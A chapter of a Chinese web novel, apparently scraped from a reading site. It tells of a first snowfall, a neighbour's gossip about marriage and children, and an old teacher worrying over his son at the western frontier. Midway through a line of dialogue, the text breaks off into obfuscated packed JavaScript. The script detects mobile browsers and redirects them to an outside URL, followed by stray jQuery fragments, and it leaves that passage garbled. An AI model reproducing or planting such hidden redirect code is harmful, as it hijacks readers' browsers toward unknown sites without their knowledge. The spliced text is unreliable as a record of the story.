默认冷灰
24号文字
方正启体

87. 初雪

作者:樵山牧野本书字数:K更新时间:
    “孟知彰,下雪了。”


    庄聿白抬起手腕,托着窄袖上的雪花,小心翼翼走向正弯腰整理菜园的孟知彰,留意着脚边一堆堆刚收获的菘菜。


    是一片六出雪花。冰针洁净、清晰,完美得像一片易碎的梦。


    “好看吗?”


    “好看。”孟知彰凑上来,认真看了几眼,自然地伸手去挑庄聿白发丝上的那片。


    不过刚刚碰到,倏忽消失,凉凉地化在孟知彰指腹。


    “傻子,怎么能用手呢。”庄聿白一下笑了,又要撩起衣襟下摆去接更多雪花给孟知彰看,却被人拦住了。


    “我们今日吃涮锅,有劳琥珀兄将风炉先升起来。”菜园风凉,孟知彰哄人回家。


    “好。”庄聿白抬脸笑笑,“那你快点回来。”


    牛婶挎着满满一个竹筐,敲响孟知彰家柴门时,风炉上的那罐黄芪枸杞汤正咕嘟咕嘟翻腾着。


    “二有从山中打了两只野兔,给你拿一只。这是院子里新晾干的大枣。还有你牛叔新生的豆芽,这次的豆芽好,白白胖胖的我喜欢……”


    牛婶一样一样展示给庄聿白看。她穿了件素面窄袖袄子,干净利落。日子顺心,脸上笑容也多起来。


    庄聿白听牛二有说,家中在请媒人帮牛大有议亲了。


    穷苦人家温饱都成问题的情况下,娶妻生子大都是奢望。牛大有比孟知彰还大一岁。看着牛大有年纪一天大似一天,牛叔牛婶也着急。


    眼下多亏了孟知彰和庄聿白才有了这茶炭生意,又加上新型堆肥术田里也能多打粮,日子是越来越有盼头,越过越有底气。此前落下的事情,也可以提上日程、缝缝补补了。


    这原本是好事,不过牛婶似乎又平添了新烦恼。


    “大有哥忠厚稳重,长得也不错。现在窑炭上的事情里里外外忙着,能担起一半,又能吃苦,想来有不少人家等着来议亲吧。”庄聿白试着宽慰牛婶,将风炉上的黄芪枸杞汤盛了两盏,“对了,有几天没见到大有哥,他一直在窑上忙着?”


    “他这几日一直在往城中送炭。”牛婶似乎想到什么,叹了半口气,往庄聿白身边凑了凑,压低声音:“婶子跟你打听一下,去府城比赛那个什么周掌柜……就是在咱炭窑上买炭的那个周掌柜,他家是不是有个弟弟?你见过么?”


    牛婶说的是缘来茶坊的周青。周青是庄聿白的第一个长期合作大主顾,双方若论交情还是有的,只是仅限生意上的往来。至于对方家中人口几何,有没有弟弟妹妹的,倒并没有太留意。


    不过提到府城比赛,庄聿白倒还真想起一个人来。


    府城时庄聿白和周掌柜见面都是在摊展,因为行程赶,各自也忙,并没得空坐下叙旧闲聊。后来倒是牛大有去帮了一两天的忙。但那时周掌柜身边总跟着一个眉目清秀的小哥哥,庄聿白还是注意到了。


    那小哥儿十八九岁的样子,迎来送往落落大方,性子温和恬静,举止也斯文。庄聿白此前还以为是周掌柜请来的伙计,现在再想,和周青倒有三分神似,八成就是牛婶提到的这位弟弟了。


    “打过照面,为人处世都妥帖周全。婶子怎么想起问他?”


    “随口问问罢了。”


    牛婶能听出庄聿白对此人的赞赏,眉间却聚起愁云,想说什么话到嘴边往回咽了咽,强行换了个话题,语气中带着对儿子的埋怨。


    “周掌柜家的茶炭,每次都是派茶坊小厮亲自来运的。家中事情本来也多,大有还回回都要跟前。一去大半日不回来,也不明白在城中怎么就这么绊脚。你说说这……”


    叮叮叮,庄聿白眼前一亮。八卦的雷达登时响了。


    牛大有一向不修边幅,花钱也谨慎。府城回来时,除了给家中采买的东西,竟还偷偷买了一只香囊,藏着掖着的。庄聿白软磨硬泡的几次都没能看上一眼。


    今日一想,这不就对上了嘛。肯定有情况。


    “人家是城中的公子哥儿,咱们是泥地炭灰里刨食的。有些心思,根本就不该动!”牛婶止不住叹气,“我这些时日正托媒人呢帮忙看着,不管美丑,只要性情好,俩人合得来就行。”


    庄聿白正想帮牛大有分辩几句,却听牛婶又道:“嗐,不说他了。提他我就来气。你和知彰怎么样?”


    最怕长辈突然的关心。


    “我?”庄聿白一愣,不是在说大有么,这“祸水”怎么就引到自己身上来了?话题转换得太快了些。不过面上仍然笑着,“我们……还是老样子,都还好。”


    该来的还是会来,躲也躲不掉。就着手中那盏温暖、微甜的黄芪枸杞热饮,牛婶开始了对庄聿白的围攻。


    “知道你们忙,忙着生意,忙着读书。但终身大事也要上上心呐。这婚事只差最后这个婚礼了,看什么时候办了,牛婶就放心了。”


    庄聿白添了些热饮到牛婶杯子里:“婚礼……不急的。”


    “怎么能不急呢!”牛婶一脸正经看着庄聿白,“实在不行,你们先把孩子要了。”


    “……孩子?!”庄聿白心内一慌,手中茶盏险些滑落。他忙稳住,假装无事地喝口茶顺气。怎么又是孩子?上回“无中生孕”一事,现在搞得他都不太敢离孟知彰太近。


    “上次让婶子空欢喜一场,还以为你有了。”牛婶叹口气,认为这群孩子没一个让她省心的。又猜想庄聿白是有什么后顾之忧,忙又补充,“虽然知彰娘去了,但你放心,还有婶子在。婶子伺候月子还是有经验的!”


    “……啊,不行……”庄聿白显然是被这份热情惊到了,慌不择言,脱口而出。


    “……不行?什么不行?”牛婶满脸疑惑,凑近,小小声,“你说知彰他……不行?!不能吧!这孩子从小块头大,力气也大,怎么会不行呢!”


    “……”


    孟知彰行不行,他庄聿白真的不是很想知道。可牛婶看样子并不想停止这个对话,还说让牛叔去隔壁镇子上问问那位老中医。


    庄聿白脸上的表情已经很热闹了。如果求神有用,他此时尴尬得都想跪下来,求神明将他原地带走。


    柴门响动,孟知彰引着刘叔进来。


    神,这不就来了么。


    牛婶见有客到,忙起身告辞,走到门外又拉着庄聿白袖子悄声嘱托:“你得空了,帮婶子劝下大有……”


    “婶子劝什么?”庄聿白搬了两颗圆滚滚的菘菜放进牛婶竹篮中。


    “啧,这孩子!跟婶子装傻!还有知彰的事,你也好好上一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187417|157868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上心。”


    庄聿白回来时刘叔仍站外院中和孟知彰聊些什么。


    “刘叔进屋,风炉上热着热饮,您老喝一盏,搪搪雪气。”


    雪比方才大了,洋洋洒洒往地上落。


    “我就不进屋了。”刘叔看看庄聿白,又看看孟知彰。既焦急,又为难。


    孟知彰回屋拿了件厚斗篷与庄聿白披上,三人迎着风雪往山中走去。


    “早时来了信差,看到是我家公子的亲笔信,先生激动坏了,等不及进屋,就站在风天冷地中将家书拆了。”


    清雪不停沾在刘叔花白的头发上,他脚下不稳,但等不及,带着二人快速往回走。


    “一开始先生还开心地同我讲信上内容。说公子和长庚师父一切都好。因为是武举选上去的,公子很快在那边做了个小头领,手下还带着不少人。眼下也没有太要紧的事情,就是正常训练、熟悉地形什么。还说那边肉苁蓉好,等开春了帮忙寄送一些回来。”


    刘叔心中急,唠唠叨叨一直说,却一直没说到点子上。


    山路难走,孟知彰伸出手臂让庄聿白抓着,将后面关键的话补齐:“看完信,先生就扛着锄头去了葡萄园。一两个时辰了。”


    “是啊,这都一个多时辰了。我怎么劝都不回来,还不让我跟着……所以我来请两位公子帮着想想办法。”


    “这会儿去葡萄园?庄聿白略略一惊。


    他也顾不得避嫌不避嫌的,一双手牢牢抓上孟知彰的胳膊。胳膊强健有力,走起路来确实稳当不少。


    园中葡萄是第一年过冬,庄聿白担心霜冻,施完底肥后,半月前已经请乡邻用土埋起来了。眼下园中根本没什么活计可做。


    而且还下着雪。


    雪越来越大,似乎要将这世间一切的喜乐和悲欢尽皆掩盖。


    三人到达葡萄园时,空寥寥的葡萄架中,一个黑色的背影在雪地上尤为突兀,尤为孤独。


    庄聿白与孟知彰对视一眼,缓缓走过去。


    “先生,今日我们新得了一只野兔。您上次说炭烤的也好吃。我们带了来,正好趁着这雪天先生教教我们如何烤。”


    云鹤年停了手上的锄头,回转身,见是庄聿白二人,笑说:“好哇。不过要稍等我片刻。”又回头看看园中,“下雪了。我来看看葡萄苗土层够不够,若有淘气的,将手手脚脚伸出来,岂不冻坏了。”


    儿行千里家中岂能不担忧。虽然信中一片冲淡祥和,可那是西境,是戎狄来犯的第一关。眼下秋尽冬来,食物储备不足的部落也最喜欢在这个时节来犯。


    边境如何苦寒,云鹤年看不到。前线如何凶险,云鹤年看不到。


    正因为看不到,正因为鞭长莫及,他心中的这根弦才越揪越紧,紧到滴血。


    乱雪迷人眼。缠缠绕绕,看不清,理不清。


    炭火澄明,小心熨舔无声的伤口。任何宽慰之语,都是苍白无力的,也是不合时宜的。


    不久后,孟知彰和庄聿白去府城时,云鹤年并没有相送。或许他早就知道些什么,只让刘叔带了句话。


    骆家比面上看到的还要复杂。今后在府城生活总会碰上。将来若遇到什么为难之事,事关骆家的,大可以来找他云鹤年。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)